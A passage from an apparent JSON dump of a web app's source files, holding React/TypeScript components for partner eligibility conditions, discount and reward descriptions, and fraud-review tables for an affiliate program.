bg-neutral-100\">\n        <Users2 className=\"size-4 text-neutral-800\" />\n      </div>\n\n      <span className=\"flex min-w-0 flex-1 flex-wrap items-center gap-x-1 gap-y-1 text-sm font-medium leading-relaxed text-neutral-800\">\n        If partner {keyConfig.label}\n        <InlineBadgePopover\n          text={\n            condition.operator\n              ? OPERATOR_LABELS[condition.operator]\n              : \"operator\"\n          }\n          invalid={!condition.operator}\n        >\n          <InlineBadgePopoverMenu\n            selectedValue={condition.operator ?? undefined}\n            onSelect={(op) => handleOperatorChange(op as EligibilityOperator)}\n            items={keyConfig.operators.map((op) => ({\n              text: OPERATOR_LABELS[op],\n              value: op,\n            }))}\n          />\n        </InlineBadgePopover>\n        {condition.operator && (\n          <ValueBadge\n            conditionKey=\"country\"\n            value={condition.value}\n            onChange={handleValueChange}\n          />\n        )}\n      </span>\n\n      <button\n        type=\"button\"\n        onClick={onRemove}\n        className=\"shrink-0 rounded-md p-2 text-neutral-900 transition-colors hover:bg-neutral-100\"\n        aria-label=\"Remove condition\"\n      >\n        <Xmark className=\"size-3\" />\n      </button>\n    </div>\n  );\n}\n\nexport function EligibilityRequirements({\n  value: conditions,\n  onChange,\n}: {\n  value: EligibilityCondition[];\n  onChange: (conditions: EligibilityCondition[]) => void;\n}) {\n  const hasCondition = conditions.length > 0;\n\n  const handleAdd = () => {\n    if (hasCondition) return;\n    onChange([\n      { id: generateId(), key: \"country\", operator: null, value: null },\n    ]);\n  };\n\n  const handleChange = (updated: EligibilityCondition) => {\n    onChange([updated]);\n  };\n\n  const handleRemove = () => {\n    onChange([]);\n  };\n\n  return (\n    <AnimatedSizeContainer\n      height\n      className=\"rounded-[10px] border border-neutral-200 bg-neutral-100\"\n    >\n      <div className=\"flex flex-col px-2.5 py-3\">\n        {!hasCondition ? (\n          <button\n            type=\"button\"\n            onClick={handleAdd}\n            className=\"flex w-full items-center justify-center gap-2 rounded-lg border border-neutral-200 bg-white px-2 py-2 text-sm font-medium text-neutral-900 transition-colors hover:bg-neutral-50\"\n          >\n            <Users2 className=\"size-4\" />\n            Add condition\n          </button>\n        ) : (\n          <div>\n            <div className=\"flex flex-col\">\n              <ConditionRow\n                condition={conditions[0]}\n                onChange={handleChange}\n                onRemove={handleRemove}\n              />\n            </div>\n\n            <div className=\"ml-6 h-3 w-px bg-neutral-300\" />\n\n            <div className=\"flex items-center gap-2.5 rounded-xl border border-neutral-200 bg-white p-2.5 shadow-sm\">\n              <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md bg-neutral-100\">\n                <CircleCheck className=\"size-4 text-neutral-600\" />\n              </div>\n              <span className=\"text-sm font-medium text-neutral-700\">\n                Allow partner to apply\n              </span>\n            </div>\n          </div>\n        )}\n      </div>\n    </AnimatedSizeContainer>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/external-payouts-indicator.tsx",
    "content": "import { CircleArrowRight, Tooltip } from \"@dub/ui\";\nimport { useParams } from \"next/navigation\";\n\nexport function ExternalPayoutsIndicator({\n  side = \"top\",\n}: {\n  side?: \"top\" | \"left\";\n}) {\n  const { slug } = useParams();\n\n  return (\n    <Tooltip\n      content={`This payout will be processed externally via the \\`payout.confirmed\\` [webhook event](${`/${slug}/settings/webhooks`}). [Learn more about external payouts](http://dub.co/docs/partners/external-payouts).`}\n      side={side}\n    >\n      <CircleArrowRight className=\"size-3.5 text-purple-800\" />\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/format-discount-description.ts",
    "content": "import { constructDiscountAmount } from \"@/lib/api/sales/construct-discount-amount\";\nimport { DiscountProps } from \"@/lib/types\";\nimport { pluralize } from \"@dub/utils\";\n\nexport function formatDiscountDescription(\n  discount: Pick<\n    DiscountProps,\n    \"amount\" | \"type\" | \"maxDuration\" | \"description\"\n  >,\n): string {\n  if (discount.description) {\n    return discount.description;\n  }\n\n  const discountAmount = constructDiscountAmount(discount);\n\n  const parts: string[] = [];\n\n  parts.push(`New users get ${discountAmount} off `);\n\n  if (discount.maxDuration === null) {\n    parts.push(\"for their lifetime\");\n  } else if (discount.maxDuration === 0) {\n    parts.push(\"for their first purchase\");\n  } else if (discount.maxDuration === 1) {\n    parts.push(\"for their first month\");\n  } else if (discount.maxDuration && discount.maxDuration > 0) {\n    parts.push(\n      `for ${discount.maxDuration} ${pluralize(\"month\", discount.maxDuration)}`,\n    );\n  }\n\n  return parts.join(\" \");\n}\n"
  },
  {
    "path": "apps/web/ui/partners/format-reward-description.ts",
    "content": "import { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { RewardProps } from \"@/lib/types\";\n\nexport function formatRewardDescription(reward: RewardProps) {\n  if (reward.description) {\n    return reward.description;\n  }\n\n  const rewardAmount = constructRewardAmount(reward);\n  const parts: string[] = [];\n\n  parts.push(\"Earn\");\n  parts.push(rewardAmount);\n\n  if (reward.event === \"sale\" && reward.maxDuration === 0) {\n    parts.push(\"for the first sale\");\n  } else {\n    parts.push(`per ${reward.event}`);\n  }\n\n  if (reward.maxDuration === null) {\n    parts.push(\"for the customer's lifetime\");\n  } else if (reward.maxDuration && reward.maxDuration > 1) {\n    const durationText =\n      reward.maxDuration % 12 === 0\n        ? `${reward.maxDuration / 12} year${reward.maxDuration / 12 > 1 ? \"s\" : \"\"}`\n        : `${reward.maxDuration} months`;\n    parts.push(`for ${durationText}`);\n  }\n\n  return parts.join(\" \");\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/commissions-on-hold-table.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionResponse, FraudGroupProps } from \"@/lib/types\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport {\n  LoadingSpinner,\n  Table,\n  TimestampTooltip,\n  useTable,\n  useTablePagination,\n} from \"@dub/ui\";\nimport {\n  cn,\n  currencyFormatter,\n  fetcher,\n  formatDateTimeSmart,\n  nFormatter,\n} from \"@dub/utils\";\nimport { useState } from \"react\";\nimport useSWR from \"swr\";\nimport { CommissionRowMenu } from \"../commission-row-menu\";\nimport { CommissionTypeBadge } from \"../commission-type-badge\";\n\nconst COMMISSIONS_ON_HOLD_PAGE_SIZE = 10;\n\nexport function CommissionsOnHoldTable({\n  fraudGroup,\n}: {\n  fraudGroup: FraudGroupProps;\n}) {\n  const { id: workspaceId, slug } = useWorkspace();\n  const [page, setPage] = useState(1);\n\n  const { pagination, setPagination } = useTablePagination({\n    pageSize: COMMISSIONS_ON_HOLD_PAGE_SIZE,\n    page,\n    onPageChange: setPage,\n  });\n\n  const query = {\n    workspaceId: workspaceId!,\n    status: \"pending\",\n    partnerId: fraudGroup.partner.id,\n  };\n\n  const {\n    data: commissions,\n    error,\n    isLoading,\n  } = useSWR<CommissionResponse[]>(\n    `/api/commissions?${new URLSearchParams({\n      ...query,\n      page: page.toString(),\n      pageSize: COMMISSIONS_ON_HOLD_PAGE_SIZE.toString(),\n    }).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { data: commissionsCount } = useSWR<{ all: { count: number } }>(\n    `/api/commissions/count?${new URLSearchParams(query).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const table = useTable<CommissionResponse>({\n    data: commissions || [],\n    columns: [\n      {\n        id: \"createdAt\",\n        header: \"Date\",\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\", \"unix\"]}\n            delayDuration={150}\n          >\n            <p>{formatDateTimeSmart(row.original.createdAt)}</p>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"customer\",\n        header: \"Customer\",\n        cell: ({ row }) =>\n          row.original.customer ? (\n            <CustomerRowItem\n              customer={row.original.customer}\n              href={`/${slug}/program/customers/${row.original.customer.id}`}\n            />\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"type\",\n        header: \"Type\",\n        accessorKey: \"type\",\n        cell: ({ row }) => (\n          <CommissionTypeBadge type={row.original.type ?? \"sale\"} />\n        ),\n        meta: {\n          filterParams: ({ row }) => ({\n            type: row.original.type,\n          }),\n        },\n      },\n      {\n        id: \"amount\",\n        header: \"Amount\",\n        accessorFn: (d) =>\n          d.type === \"sale\"\n            ? currencyFormatter(d.amount)\n            : nFormatter(d.quantity),\n      },\n      {\n        id: \"commission\",\n        header: \"Commission\",\n        cell: ({ row }) => (\n          <span\n            className={cn(\n              row.original.earnings < 0 && \"text-red-600\",\n              \"truncate\",\n            )}\n          >\n            {currencyFormatter(row.original.earnings)}\n          </span>\n        ),\n      },\n      // Menu\n      {\n        id: \"menu\",\n        enableHiding: false,\n        cell: ({ row }) => <CommissionRowMenu row={row} />,\n      },\n    ],\n    ...((commissionsCount?.all.count || 0) > COMMISSIONS_ON_HOLD_PAGE_SIZE\n      ? {\n          pagination,\n          onPaginationChange: setPagination,\n        }\n      : {\n          className: \"[&_tr:last-child>td]:border-b-transparent\",\n        }),\n    columnPinning: { right: [\"menu\"] },\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    scrollWrapperClassName: \"min-h-0\",\n    resourceName: (p) => `commission${p ? \"s\" : \"\"}`,\n    rowCount: commissionsCount?.all.count || 0,\n    loading: isLoading,\n    error: error ? \"Failed to load commissions\" : undefined,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      {commissions?.length ? (\n        <Table {...table} />\n      ) : (\n        <div className=\"border-border-subtle flex h-24 flex-col items-center justify-center gap-2 rounded-lg border\">\n          {isLoading ? (\n            <LoadingSpinner />\n          ) : (\n            <p className=\"text-content-subtle text-sm\">\n              No commissions are on hold yet\n            </p>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/fraud-disclaimer-banner.tsx",
    "content": "import { TriangleWarning } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\n\nexport function FraudDisclaimerBanner({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"flex items-start gap-3 rounded-lg border border-amber-200 bg-amber-50 px-4 py-2.5\",\n        className,\n      )}\n    >\n      <TriangleWarning className=\"mt-0.5 size-4 shrink-0 text-amber-600\" />\n      <p className=\"flex-1 text-sm text-amber-900\">\n        We recommend reviewing the flagged events thoroughly and potentially\n        reaching out to the partner before making a final decision.{\" \"}\n        <a\n          href=\"https://dub.co/help/article/fraud-detection\"\n          target=\"_blank\"\n          className=\"font-medium underline underline-offset-2 transition-colors hover:text-neutral-800\"\n        >\n          Learn more\n        </a>\n        .\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/fraud-events-tables/fraud-cross-program-ban-table.tsx",
    "content": "\"use client\";\n\nimport { useFraudEventsPaginated } from \"@/lib/swr/use-fraud-events-paginated\";\nimport { fraudEventSchemas } from \"@/lib/zod/schemas/fraud\";\nimport { BAN_PARTNER_REASONS } from \"@/lib/zod/schemas/partners\";\nimport { Table, TimestampTooltip, useTable } from \"@dub/ui\";\nimport { formatDateTimeSmart } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\ntype EventDataProps = z.infer<\n  (typeof fraudEventSchemas)[\"partnerCrossProgramBan\"]\n>;\n\nexport function FraudCrossProgramBanTable() {\n  const {\n    fraudEvents,\n    loading,\n    error,\n    pagination,\n    setPagination,\n    fraudEventsCount,\n  } = useFraudEventsPaginated<EventDataProps>();\n\n  const table = useTable({\n    data: fraudEvents || [],\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: fraudEventsCount ?? 0,\n    columns: [\n      {\n        id: \"date\",\n        header: \"Date\",\n        minSize: 140,\n        size: 160,\n        cell: ({ row: { original } }) =>\n          original.metadata?.bannedAt ? (\n            <TimestampTooltip\n              timestamp={original.metadata.bannedAt}\n              side=\"right\"\n              rows={[\"local\", \"utc\", \"unix\"]}\n              delayDuration={150}\n            >\n              <p>{formatDateTimeSmart(original.metadata.bannedAt)}</p>\n            </TimestampTooltip>\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"banReason\",\n        header: \"Ban reason\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row: { original } }) => {\n          return original.metadata?.bannedReason ? (\n            <span className=\"text-sm text-neutral-600\">\n              {BAN_PARTNER_REASONS[original.metadata.bannedReason]}\n            </span>\n          ) : (\n            \"-\"\n          );\n        },\n      },\n    ],\n    resourceName: (p) => `event${p ? \"s\" : \"\"}`,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    loading,\n    error,\n  });\n\n  return <Table {...table} />;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/fraud-events-tables/fraud-matching-customer-email-table.tsx",
    "content": "\"use client\";\n\nimport { extractEmailDomain } from \"@/lib/email/extract-email-domain\";\nimport { useFraudEventsPaginated } from \"@/lib/swr/use-fraud-events-paginated\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  CustomerEmailMatchType,\n  fraudEventSchemas,\n} from \"@/lib/zod/schemas/fraud\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport { Button, Table, TimestampTooltip, useTable } from \"@dub/ui\";\nimport { formatDateTimeSmart } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport * as z from \"zod/v4\";\n\ntype EventDataProps = z.infer<(typeof fraudEventSchemas)[\"customerEmailMatch\"]>;\n\nconst MATCH_TYPE_LABELS: Record<CustomerEmailMatchType, string> = {\n  [CustomerEmailMatchType.EXACT]: \"Exact email match\",\n  [CustomerEmailMatchType.DOMAIN_MATCH]: \"Domain match\",\n  [CustomerEmailMatchType.HISTORICAL_DOMAIN_MATCH]: \"Historical domain match\",\n};\n\nexport function FraudMatchingCustomerEmailTable() {\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const {\n    fraudEvents,\n    loading,\n    error,\n    pagination,\n    setPagination,\n    fraudEventsCount,\n  } = useFraudEventsPaginated<EventDataProps>();\n\n  const table = useTable({\n    data: fraudEvents || [],\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: fraudEventsCount ?? 0,\n    columns: [\n      {\n        id: \"date\",\n        header: \"Date\",\n        minSize: 140,\n        size: 160,\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\", \"unix\"]}\n            delayDuration={150}\n          >\n            <p>{formatDateTimeSmart(row.original.createdAt)}</p>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"customer\",\n        header: \"Customer\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row }) =>\n          row.original.customer ? (\n            <CustomerRowItem customer={row.original.customer} />\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"email\",\n        header: \"Email\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row }) => {\n          return (\n            <span className=\"text-sm text-neutral-600\">\n              {row.original.customer?.email || \"-\"}\n            </span>\n          );\n        },\n      },\n      {\n        id: \"matchType\",\n        header: \"Match type\",\n        minSize: 120,\n        size: 180,\n        cell: ({ row }) => {\n          const matchType = row.original.metadata?.matchType ?? \"exact\";\n\n          return (\n            <span className=\"text-sm text-neutral-600\">\n              {MATCH_TYPE_LABELS[matchType]}\n            </span>\n          );\n        },\n      },\n      {\n        id: \"view\",\n        header: \"\",\n        enableHiding: false,\n        minSize: 100,\n        size: 100,\n        maxSize: 100,\n        cell: ({ row }) => {\n          if (!row.original.customer) return null;\n\n          return (\n            <Link\n              href={\n                row.original.customer.email &&\n                row.original.metadata?.matchType ===\n                  CustomerEmailMatchType.HISTORICAL_DOMAIN_MATCH\n                  ? `/${workspaceSlug}/program/customers?partnerId=${row.original.partner.id}&search=${extractEmailDomain(row.original.customer.email)}`\n                  : `/${workspaceSlug}/events?event=leads&interval=all&customerId=${row.original.customer.id}`\n              }\n              target=\"_blank\"\n            >\n              <Button\n                variant=\"secondary\"\n                text=\"View\"\n                className=\"h-7 w-fit rounded-lg px-2.5 py-2\"\n              />\n            </Link>\n          );\n        },\n      },\n    ],\n    resourceName: (p) => `event${p ? \"s\" : \"\"}`,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    loading,\n    error,\n  });\n\n  return <Table {...table} />;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/fraud-events-tables/fraud-paid-traffic-detected-table.tsx",
    "content": "\"use client\";\n\nimport { PAID_TRAFFIC_PLATFORMS_CONFIG } from \"@/lib/api/fraud/constants\";\nimport { useFraudEventsPaginated } from \"@/lib/swr/use-fraud-events-paginated\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PaidTrafficPlatform } from \"@/lib/types\";\nimport { fraudEventSchemas } from \"@/lib/zod/schemas/fraud\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport {\n  Bing,\n  Button,\n  DynamicTooltipWrapper,\n  Facebook,\n  Google,\n  LinkedIn,\n  Reddit,\n  Table,\n  TikTok,\n  TimestampTooltip,\n  Twitter,\n  useTable,\n} from \"@dub/ui\";\nimport { capitalize, formatDateTimeSmart, getPrettyUrl } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport * as z from \"zod/v4\";\n\ntype EventDataProps = z.infer<\n  (typeof fraudEventSchemas)[\"paidTrafficDetected\"]\n>;\n\nconst PAID_TRAFFIC_PLATFORM_ICONS: Record<\n  PaidTrafficPlatform,\n  React.ComponentType<{ className?: string }>\n> = {\n  google: Google,\n  facebook: Facebook,\n  x: Twitter,\n  bing: Bing,\n  linkedin: LinkedIn,\n  reddit: Reddit,\n  tiktok: TikTok,\n};\n\nexport function FraudPaidTrafficDetectedTable() {\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const {\n    fraudEvents,\n    loading,\n    error,\n    pagination,\n    setPagination,\n    fraudEventsCount,\n  } = useFraudEventsPaginated<EventDataProps>();\n\n  const table = useTable({\n    data: fraudEvents || [],\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: fraudEventsCount ?? 0,\n    columns: [\n      {\n        id: \"date\",\n        header: \"Date\",\n        minSize: 140,\n        size: 160,\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\", \"unix\"]}\n            delayDuration={150}\n          >\n            <p>{formatDateTimeSmart(row.original.createdAt)}</p>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"customer\",\n        header: \"Customer\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row }) =>\n          row.original.customer ? (\n            <CustomerRowItem\n              customer={row.original.customer}\n              href={`/${workspaceSlug}/program/customers/${row.original.customer.id}`}\n            />\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"source\",\n        header: \"Source\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row }) => {\n          const metadata = row.original.metadata as EventDataProps[\"metadata\"];\n\n          if (!metadata || !metadata.source) {\n            return \"-\";\n          }\n\n          const platform = PAID_TRAFFIC_PLATFORMS_CONFIG.find(\n            (p) => p.id === metadata.source,\n          );\n\n          const Icon = PAID_TRAFFIC_PLATFORM_ICONS[metadata.source];\n\n          return (\n            <DynamicTooltipWrapper\n              tooltipProps={\n                metadata.url\n                  ? {\n                      content: (\n                        <div className=\"max-w-xs px-4 py-2 text-center text-sm text-neutral-600\">\n                          <HighlightedUrl\n                            url={metadata.url}\n                            queryParams={platform?.queryParams}\n                          />\n                        </div>\n                      ),\n                    }\n                  : undefined\n              }\n            >\n              <div className=\"flex items-center gap-2\">\n                {Icon && <Icon className=\"size-4 shrink-0\" />}\n\n                {metadata.url ? (\n                  <span className=\"truncate text-sm text-neutral-600 underline decoration-dotted underline-offset-2\">\n                    {getPrettyUrl(metadata.url)}\n                  </span>\n                ) : (\n                  <span className=\"truncate text-sm text-neutral-600\">\n                    {capitalize(metadata.source || platform?.name)}\n                  </span>\n                )}\n              </div>\n            </DynamicTooltipWrapper>\n          );\n        },\n      },\n      {\n        id: \"view\",\n        header: \"\",\n        enableHiding: false,\n        minSize: 100,\n        size: 100,\n        maxSize: 100,\n        cell: ({ row }) => {\n          if (!row.original.customer) return null;\n\n          return (\n            <Link\n              href={`/${workspaceSlug}/events?event=leads&interval=all&customerId=${row.original.customer.id}`}\n              target=\"_blank\"\n            >\n              <Button\n                variant=\"secondary\"\n                text=\"View\"\n                className=\"h-7 w-fit rounded-lg px-2.5 py-2\"\n              />\n            </Link>\n          );\n        },\n      },\n    ],\n    resourceName: (p) => `event${p ? \"s\" : \"\"}`,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    loading,\n    error,\n  });\n\n  return <Table {...table} />;\n}\n\n// Highlight query parameters in the URL based on PAID_TRAFFIC_PLATFORMS_CONFIG.queryParams\nfunction HighlightedUrl({\n  url,\n  queryParams,\n}: {\n  url: string;\n  queryParams?: string[];\n}) {\n  if (!queryParams || queryParams.length === 0) {\n    return <span className=\"break-all\">{url}</span>;\n  }\n\n  try {\n    const urlObj = new URL(url);\n    const baseUrl = `${urlObj.origin}${urlObj.pathname}`;\n    const searchParams = Array.from(urlObj.searchParams.entries());\n\n    if (searchParams.length === 0) {\n      return <span className=\"break-all\">{url}</span>;\n    }\n\n    return (\n      <span className=\"break-all\">\n        {baseUrl}\n        {urlObj.search && \"?\"}\n        {searchParams.map(([key, value], index) => {\n          const isHighlighted = queryParams.includes(key);\n\n          return (\n            <span key={index}>\n              <span className={isHighlighted ? \"text-amber-600\" : \"\"}>\n                {key}={value}\n              </span>\n              {index < searchParams.length - 1 && \"&\"}\n            </span>\n          );\n        })}\n        {urlObj.hash}\n      </span>\n    );\n  } catch {\n    return <span className=\"break-all\">{url}</span>;\n  }\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/fraud-events-tables/fraud-partner-info-table.tsx",
    "content": "\"use client\";\n\nimport { useFraudEventsPaginated } from \"@/lib/swr/use-fraud-events-paginated\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { fraudEventSchemas } from \"@/lib/zod/schemas/fraud\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { Button, Table, TimestampTooltip, useTable } from \"@dub/ui\";\nimport { formatDateTimeSmart } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport * as z from \"zod/v4\";\n\n// Both partnerFraudReport and partnerDuplicatePayoutMethod have the same schema\n// We can use either one since they're identical\ntype EventDataProps = z.infer<(typeof fraudEventSchemas)[\"partnerFraudReport\"]>;\n\nexport function FraudPartnerInfoTable() {\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const {\n    fraudEvents,\n    loading,\n    error,\n    pagination,\n    setPagination,\n    fraudEventsCount,\n  } = useFraudEventsPaginated<EventDataProps>();\n\n  const table = useTable({\n    data: fraudEvents || [],\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: fraudEventsCount ?? 0,\n    columns: [\n      {\n        id: \"date\",\n        header: \"Date\",\n        minSize: 140,\n        size: 160,\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\", \"unix\"]}\n            delayDuration={150}\n          >\n            <p>{formatDateTimeSmart(row.original.createdAt)}</p>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"partner\",\n        header: \"Partner\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row }) =>\n          row.original.partner ? (\n            <PartnerRowItem\n              partner={row.original.partner}\n              showFraudIndicator={false}\n            />\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"email\",\n        header: \"Email\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row }) => {\n          return (\n            <span className=\"text-sm text-neutral-600\">\n              {row.original.partner?.email || \"-\"}\n            </span>\n          );\n        },\n      },\n      {\n        id: \"view\",\n        enableHiding: false,\n        minSize: 80,\n        size: 80,\n        maxSize: 80,\n        cell: ({ row }) => {\n          if (!row.original.partner) return null;\n\n          return (\n            <Link\n              href={`/${workspaceSlug}/program/partners/${row.original.partner.id}`}\n              target=\"_blank\"\n            >\n              <Button\n                variant=\"secondary\"\n                text=\"View\"\n                className=\"h-7 w-fit rounded-lg px-2.5 py-2\"\n              />\n            </Link>\n          );\n        },\n      },\n    ],\n    resourceName: (p) => `event${p ? \"s\" : \"\"}`,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    loading,\n    error,\n  });\n\n  return <Table {...table} />;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/fraud-events-tables/fraud-referral-source-banned-table.tsx",
    "content": "\"use client\";\n\nimport { useFraudEventsPaginated } from \"@/lib/swr/use-fraud-events-paginated\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { fraudEventSchemas } from \"@/lib/zod/schemas/fraud\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport { Button, Table, TimestampTooltip, useTable } from \"@dub/ui\";\nimport { formatDateTimeSmart } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport * as z from \"zod/v4\";\n\ntype EventDataProps = z.infer<\n  (typeof fraudEventSchemas)[\"referralSourceBanned\"]\n>;\n\nexport function FraudReferralSourceBannedTable() {\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const {\n    fraudEvents,\n    loading,\n    error,\n    pagination,\n    setPagination,\n    fraudEventsCount,\n  } = useFraudEventsPaginated<EventDataProps>();\n\n  const table = useTable({\n    data: fraudEvents || [],\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: fraudEventsCount ?? 0,\n    columns: [\n      {\n        id: \"date\",\n        header: \"Date\",\n        minSize: 140,\n        size: 160,\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\", \"unix\"]}\n            delayDuration={150}\n          >\n            <p>{formatDateTimeSmart(row.original.createdAt)}</p>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"customer\",\n        header: \"Customer\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row }) =>\n          row.original.customer ? (\n            <CustomerRowItem customer={row.original.customer} />\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"source\",\n        header: \"Source\",\n        minSize: 180,\n        size: 220,\n        cell: ({ row }) => {\n          return row.original.metadata?.source ? (\n            <span className=\"text-sm text-neutral-600\">\n              {row.original.metadata?.source}\n            </span>\n          ) : (\n            \"-\"\n          );\n        },\n      },\n      {\n        id: \"view\",\n        header: \"\",\n        enableHiding: false,\n        minSize: 100,\n        size: 100,\n        maxSize: 100,\n        cell: ({ row: { original: fraudEvent } }) => {\n          if (!fraudEvent.customer) return null;\n\n          const referer = fraudEvent.metadata?.source || undefined;\n\n          return (\n            <Link\n              href={{\n                pathname: `/${workspaceSlug}/events`,\n                query: {\n                  interval: \"all\",\n                  customerId: fraudEvent.customer.id,\n                  ...(referer && { referer }),\n                },\n              }}\n              target=\"_blank\"\n            >\n              <Button\n                variant=\"secondary\"\n                text=\"View\"\n                className=\"h-7 w-fit rounded-lg px-2.5 py-2\"\n              />\n            </Link>\n          );\n        },\n      },\n    ],\n    resourceName: (p) => `event${p ? \"s\" : \"\"}`,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    loading,\n    error,\n  });\n\n  return <Table {...table} />;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/fraud-events-tables/index.tsx",
    "content": "import { FraudGroupProps } from \"@/lib/types\";\nimport { FraudRuleType } from \"@dub/prisma/client\";\nimport React from \"react\";\nimport { FraudCrossProgramBanTable } from \"./fraud-cross-program-ban-table\";\nimport { FraudMatchingCustomerEmailTable } from \"./fraud-matching-customer-email-table\";\nimport { FraudPaidTrafficDetectedTable } from \"./fraud-paid-traffic-detected-table\";\nimport { FraudPartnerInfoTable } from \"./fraud-partner-info-table\";\nimport { FraudReferralSourceBannedTable } from \"./fraud-referral-source-banned-table\";\n\nconst FRAUD_EVENTS_TABLES: Partial<Record<FraudRuleType, React.ComponentType>> =\n  {\n    customerEmailMatch: FraudMatchingCustomerEmailTable,\n    customerEmailSuspiciousDomain: FraudMatchingCustomerEmailTable,\n    referralSourceBanned: FraudReferralSourceBannedTable,\n    paidTrafficDetected: FraudPaidTrafficDetectedTable,\n    partnerFraudReport: FraudPartnerInfoTable,\n    partnerCrossProgramBan: FraudCrossProgramBanTable,\n    partnerDuplicatePayoutMethod: FraudPartnerInfoTable,\n  };\n\nexport function FraudEventsTableWrapper({\n  fraudGroup,\n}: {\n  fraudGroup: FraudGroupProps;\n}) {\n  const TableComponent = FRAUD_EVENTS_TABLES[fraudGroup.type];\n\n  if (!TableComponent) {\n    return null;\n  }\n\n  return <TableComponent />;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/fraud-review-sheet.tsx",
